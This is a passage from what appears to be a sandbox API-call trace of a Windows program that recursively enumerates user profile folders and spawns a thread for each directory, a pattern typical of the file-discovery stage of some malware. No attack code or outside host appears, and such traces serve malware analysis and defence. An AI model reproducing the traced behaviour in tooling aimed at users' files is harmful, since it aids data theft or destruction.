ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0139.717] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1 [0139.717] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0139.717] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1 [0139.717] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0139.717] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0139.717] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0139.717] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0139.717] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e321280, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e321280, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0139.717] wcscmp (_String1="Pictures", _String2=".") returned 1 [0139.717] wcscmp (_String1="Pictures", _String2="..") returned 1 [0139.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4528 [0139.717] wcscpy (in: _Dest=0x8e4528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.717] wcscat (in: _Dest=0x8e4528, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.717] wcscat (in: _Dest=0x8e4528, _Source="Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0139.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0139.719] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0139.719] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0139.719] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0139.719] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4580 [0139.719] wcscpy (in: _Dest=0x8e4580, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.719] wcscat (in: _Dest=0x8e4580, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.719] wcscat (in: _Dest=0x8e4580, _Source="PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0139.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0139.720] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0139.720] wcscmp (_String1="Recent", _String2=".") returned 1 [0139.720] wcscmp (_String1="Recent", _String2="..") returned 1 [0139.720] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e45d8 [0139.720] wcscpy (in: _Dest=0x8e45d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.720] wcscat (in: _Dest=0x8e45d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.720] wcscat (in: _Dest=0x8e45d8, _Source="Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0139.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e45d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300 [0139.721] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0139.721] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0139.721] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0139.721] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8fed08 [0139.721] wcscpy (in: _Dest=0x8fed08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.721] wcscat (in: _Dest=0x8fed08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.721] wcscat (in: _Dest=0x8fed08, _Source="Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0139.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fed08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0139.723] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa38143a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38143a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0139.723] wcscmp (_String1="Searches", _String2=".") returned 1 [0139.723] wcscmp (_String1="Searches", _String2="..") returned 1 [0139.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4e) returned 0x8e4630 [0139.723] wcscpy (in: _Dest=0x8e4630, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.723] wcscat (in: _Dest=0x8e4630, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.723] wcscat (in: _Dest=0x8e4630, _Source="Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0139.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0139.724] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0139.724] wcscmp (_String1="SendTo", _String2=".") returned 1 [0139.724] wcscmp (_String1="SendTo", _String2="..") returned 1 [0139.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4688 [0139.724] wcscpy (in: _Dest=0x8e4688, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.724] wcscat (in: _Dest=0x8e4688, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.724] wcscat (in: _Dest=0x8e4688, _Source="SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0139.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x30c [0139.725] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0139.725] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0139.725] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0139.725] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8fed68 [0139.725] wcscpy (in: _Dest=0x8fed68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.725] wcscat (in: _Dest=0x8fed68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.725] wcscat (in: _Dest=0x8fed68, _Source="Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0139.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fed68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310 [0139.726] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0139.726] wcscmp (_String1="Templates", _String2=".") returned 1 [0139.726] wcscmp (_String1="Templates", _String2="..") returned 1 [0139.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e46e0 [0139.727] wcscpy (in: _Dest=0x8e46e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.727] wcscat (in: _Dest=0x8e46e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.727] wcscat (in: _Dest=0x8e46e0, _Source="Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0139.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e46e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x314 [0139.728] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e3936a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e3936a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0139.728] wcscmp (_String1="Videos", _String2=".") returned 1 [0139.728] wcscmp (_String1="Videos", _String2="..") returned 1 [0139.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4738 [0139.728] wcscpy (in: _Dest=0x8e4738, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0139.728] wcscat (in: _Dest=0x8e4738, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0139.728] wcscat (in: _Dest=0x8e4738, _Source="Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0139.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x318 [0139.729] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9e3936a0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e3936a0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0139.729] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9061d0) returned 1 [0139.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2980) returned 1 [0139.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26f8) returned 1 Thread: id = 1666 os_tid = 0x5f0 [0139.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x2a) returned 0x8daa98 [0139.731] wcscpy (in: _Dest=0x8daa98, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0139.731] wcscat (in: _Dest=0x8daa98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0139.731] wcscat (in: _Dest=0x8daa98, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*" [0139.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9061d0 [0139.731] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da3d0 [0140.992] wcscmp (_String1=".", _String2=".") returned 0 [0140.992] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.992] wcscmp (_String1="..", _String2=".") returned 1 [0140.992] wcscmp (_String1="..", _String2="..") returned 0 [0140.992] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0140.992] wcscmp (_String1="Adobe", _String2=".") returned 1 [0140.992] wcscmp (_String1="Adobe", _String2="..") returned 1 [0140.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x32) returned 0x941f30 [0140.993] wcscpy (in: _Dest=0x941f30, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0140.993] wcscat (in: _Dest=0x941f30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0140.993] wcscat (in: _Dest=0x941f30, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0141.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x941f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0141.373] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0141.373] wcscmp (_String1="Application Data", _String2=".") returned 1 [0141.373] wcscmp (_String1="Application Data", _String2="..") returned 1 [0141.373] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9148 [0141.373] wcscpy (in: _Dest=0x8f9148, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.374] wcscat (in: _Dest=0x8f9148, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.374] wcscat (in: _Dest=0x8f9148, _Source="Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0141.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0141.375] FindNextFileW (in: hFindFile=0x8da3d0, lpFindFileData=0x9061d0 | out: lpFindFileData=0x9061d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0141.375] wcscmp (_String1="Desktop", _String2=".") returned 1 [0141.375] wcscmp (_String1="Desktop", _String2="..") returned 1 [0141.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x36) returned 0x8da450 [0141.375] wcscpy (in: _Dest=0x8da450, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0141.375] wcscat (in: _Dest=0x8da450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0141.375] wcscat (in: _Dest=0x8da450, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0141.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8da450, 